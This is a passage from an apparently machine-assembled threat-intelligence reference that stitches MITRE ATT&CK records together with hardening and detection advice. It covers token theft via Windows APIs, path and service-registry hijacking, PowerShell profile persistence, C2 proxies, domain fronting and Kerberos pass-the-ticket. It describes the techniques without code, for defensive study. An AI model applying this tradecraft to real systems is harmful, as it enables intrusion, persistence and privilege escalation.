compliance.\n\nSecurity Benchmarking Tools:\n\n- CIS-CAT: Provides benchmarks and audits for secure software configurations.\n- Aqua Security Trivy: Scans containerized applications for configuration issues.\n\nVulnerability Management Solutions:\n\n- Nessus: Identifies misconfigurations and suggests corrective actions.\n\nLogging and Monitoring Tools:\n\n- Splunk: Aggregates and analyzes application logs to detect suspicious activity.\n\n## Principle\nAgainst T1546.013, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1608.004 Drive-by Target\n**ATT&CK T1608.004 Drive-by Target (full record).** Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\nAdversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise. […]\n\n## Reference: ATT&CK T1608.005 Link Target\n**ATT&CK T1608.005 Link Target (full record).** Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link.\n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link.\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove. […]"}]}

These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification**\n  - Defenders can identify PowerShell profile-based persistence by correlating file creation or modification in known profile locations with subsequent PowerShell process launches that do not use the `-NoProfile` flag. Profile scripts loading unusual modules or launching external programs, particularly under elevated contexts, are suspicious and may represent adversary persistence or privilege escalation.

Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL search order hijacking, the search order differs depending on the method that is used to execute the program. However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument `net user`. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then `cmd.exe /C net user` will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT.\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `C:\\unsafe path with space\\program.exe` vs. `\"C:\\safe path with space\\program.exe\"`). (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is `C:\\program files\\myapp.exe`, an adversary may create a program at `C:\\program.exe` that will be run instead of the intended program.\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under `HKLM\\SYSTEM\\CurrentControlSet\\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions.\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the `FailureCommand` key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.\n\nThe `Performance` key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the `Performance` key is not already present and if an adversary-controlled user has the `Create Subkey` permission, adversaries may create the `Performance` key in the service’s Registry tree to point to a malicious DLL.\n\nAdversaries may also add the `Parameters` key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the `Parameters` key of a given services registry configuration. By placing and configuring the `Parameters` key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.

It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1134 Access Token Manipulation\n**ATT&CK T1134 Access Token Manipulation (full record).** Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nAny standard user can use the `runas` command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n\n**Sub-techniques.** - T1134.001 Token Impersonation/Theft: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls.\n- T1134.004 Parent PID Spoofing: Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges.\n- T1134.005 SID-History Injection: Adversaries may use SID-History Injection to escalate privileges and bypass access controls.

For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.

Processes can be created with the token and resulting security context of another user using features such as `CreateProcessWithTokenW` and `runas`.\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.\n\nWhile this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.

For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, SMB/Windows Admin Shares, or Windows Remote Management.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.

A PowerShell profile (`profile.ps1`) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.\n\nPowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.\n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the `-NoProfile` flag is used when it is launched.\n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.\n\n## Reference: ATT&CK T1453 Abuse Accessibility Features\n**ATT&CK T1453 Abuse Accessibility Features (full record).** Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device’s user interface, such as changing the font size and adjusting contract or colors.\n\nOne example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.\n\nAnother example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.

With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an Application Access Token.\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.\n* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Android, iOS\n\n**Mitigations.** - **Security Updates**: Install security updates in response to discovered vulnerabilities.

In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly. In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device. Examples of this include:\n\n* Exploiting insecure bootloaders in a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.\n* Exploiting weakly-enforced security boundaries in Android devices such as the Google Pixel 2 over USB.\n* Products from Cellebrite and Grayshift purportedly that can exploit some iOS devices using physical access to the data port to unlock the passcode.\n\n**Classification.** - Tactics: initial-access, lateral-movement\n- Platforms: Android, iOS\n\n**Mitigations.** - **Lock Bootloader**: On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.\n- **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Several methods exist to accomplish this, including:\n\n* Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device’s passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.\n* Unlock code bypass: An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (“shoulder surfing”) the device owner’s use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.\n* Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Android, iOS\n\n**Mitigations.** - **Enterprise Policy**: An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.\n- **Security Updates**: Install security updates in response to discovered vulnerabilities.\n\n**Detection strategies and analytics.** - **Detection of Lockscreen Bypass**\n  - For Android, detect Lockscreen Bypass by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency, specifically with the widespread usage of third-party advertising libraries.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Android, iOS\n\n**Sub-techniques.** - T1474.002 Compromise Hardware Supply Chain: Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise.\n- T1474.001 Compromise Software Dependencies and Development Tools: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n- T1474.003 Compromise Software Supply Chain: Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise.\n\n**Mitigations.** - **Security Updates**: Install security updates in response to discovered vulnerabilities.\n- **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles.

Regularly audit accounts to ensure no excess permissions are granted.\n- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.\n\nImplementing Strong Password Policies\n\n- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.\n- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.\n\nManaging Dormant and Orphaned Accounts\n\n- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.\n- Use Case: Eliminates dormant accounts that could be exploited by attackers.\n\nAccount Lockout Policies\n\n- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.\n- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.\n\nMulti-Factor Authentication (MFA) for High-Risk Accounts\n\n- Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.\n- Use Case: Prevents unauthorized access, even if credentials are stolen.\n\nRestricting Interactive Logins\n\n- Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.\n- Use Case: Protects sensitive accounts from misuse or exploitation.\n\n*Tools for Implementation*\n\nBuilt-in Tools:\n\n- Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.\n- Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.\n\nIdentity and Access Management (IAM) Tools:\n\n- Okta: Centralized user provisioning, MFA, and SSO integration.\n- Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.\n\nPrivileged Account Management (PAM):\n- CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.\n\n## Active Directory Configuration\nImplement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface. AD configurations enable centralized control over account settings, logon policies, and permissions, reducing the risk of unauthorized access and lateral movement within the network. This mitigation can be implemented through the following measures:\n\nAccount Configuration:\n\n- Implementation: Use domain accounts instead of local accounts to leverage AD’s centralized management, including group policies, auditing, and access control.\n- Use Case: For IT staff managing shared resources, provision domain accounts that allow IT teams to log in centrally, reducing the risk of unmanaged, rogue local accounts on individual machines.\n\nInteractive Logon Restrictions:\n\n- Implementation: Configure group policies to restrict interactive logons (e.g., direct physical or RDP logons) for service accounts or privileged accounts that do not require such access.\n- Use Case: Prevent service accounts, such as SQL Server accounts, from having interactive logon privileges. This reduces the risk of these accounts being leveraged for lateral movement if compromised.\n\nRemote Desktop Settings:\n\n- Implementation: Limit Remote Desktop Protocol (RDP) access to specific, authorized accounts. Use group policies to enforce this, allowing only necessary users to establish RDP sessions.\n- Use Case: On sensitive servers (e.g., domain controllers or financial databases), restrict RDP access to administrative accounts only, while all other users are denied access.\n\nDedicated Administrative Accounts:\n\n- Implementation: Create domain-wide administrative accounts that are restricted from interactive logons, designed solely for high-level tasks (e.g., software installation, patching).\n- Use Case: Create separate administrative accounts for different purposes, such as one set of accounts for installations and another for managing repository access. This limits exposure and helps reduce attack vectors.\n\nAuthentication Silos:\n\n- Implementation: Configure Authentication Silos in AD, using group policies to create access zones with restrictions based on membership, such as the Protected Users security group. This restricts access to critical accounts and minimizes exposure to potential threats.\n- Use Case: Place high-risk or high-value accounts, such as executive or administrative accounts, in an Authentication Silo with extra controls, limiting their exposure to only necessary systems. This reduces the risk of credential misuse or abuse if these accounts are compromised.\n\n**Tools for Implementation**:\n\n- Active Directory Group Policies: Use Group Policy Management Console (GPMC) to configure, deploy, and enforce policies across AD environments.\n- PowerShell: Automate account configuration, logon restrictions, and policy application using PowerShell scripts.\n- AD Administrative Center: Manage Authentication Silos and configure high-level policies for critical user groups within AD.\n\n## Principle\nAgainst T1550.003, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T0821 Modify Controller Tasking\n**ATT&CK T0821 Modify Controller Tasking (full record).** Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller.\n\nAccording to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append.\n\nTasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the task, Organization Block 1 (OB1).\n\n**Classification.** - Tactics: execution\n- Platforms: Embedded\n\n**Mitigations.** - **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.

Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1090 Proxy - Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n\n**Detection strategies and analytics.** - **External Proxy Behavior via Outbound Relay to Intermediate Infrastructure**\n  - Unusual process (e.g., `rundll32`, `mshta`, `wscript`, or custom payloads) initiates network connection to external IPs/domains that proxy C2 traffic, often over uncommon ports or high entropy HTTP/S connections. […]\n\n## Reference: ATT&CK T1090.003 Multi-hop Proxy\n**ATT&CK T1090.003 Multi-hop Proxy (full record).** Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.\n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.\n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1090 Proxy - Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. […]\n\n## Reference: ATT&CK T1090.004 Domain Fronting\n**ATT&CK T1090.004 Domain Fronting (full record).** Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Linux, macOS, Windows, ESXi\n- Sub-technique of: T1090 Proxy - Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.\n\n**Mitigations.** - **SSL/TLS Inspection**: SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity. This capability is crucial for detecting threats that use encryption to evade detection, such as phishing, malware, or data exfiltration. After inspection, the traffic is re-encrypted and forwarded to its destination. […]\n\n## Reference: ATT&CK T1091 Replication Through Removable Media\n**ATT&CK T1091 Replication Through Removable Media (full record).** Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).\n\n**Classification.** - Tactics: lateral-movement, initial-access\n- Platforms: Windows\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Limit Hardware Installation**: Prevent unauthorized users or groups from installing or using hardware, such as external drives, peripheral devices, or unapproved internal hardware components, by enforcing hardware usage policies and technical controls. This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices. This mitigation can be implemented through the following measures:\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events.

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.\n\nA Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).\n\nA Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys.

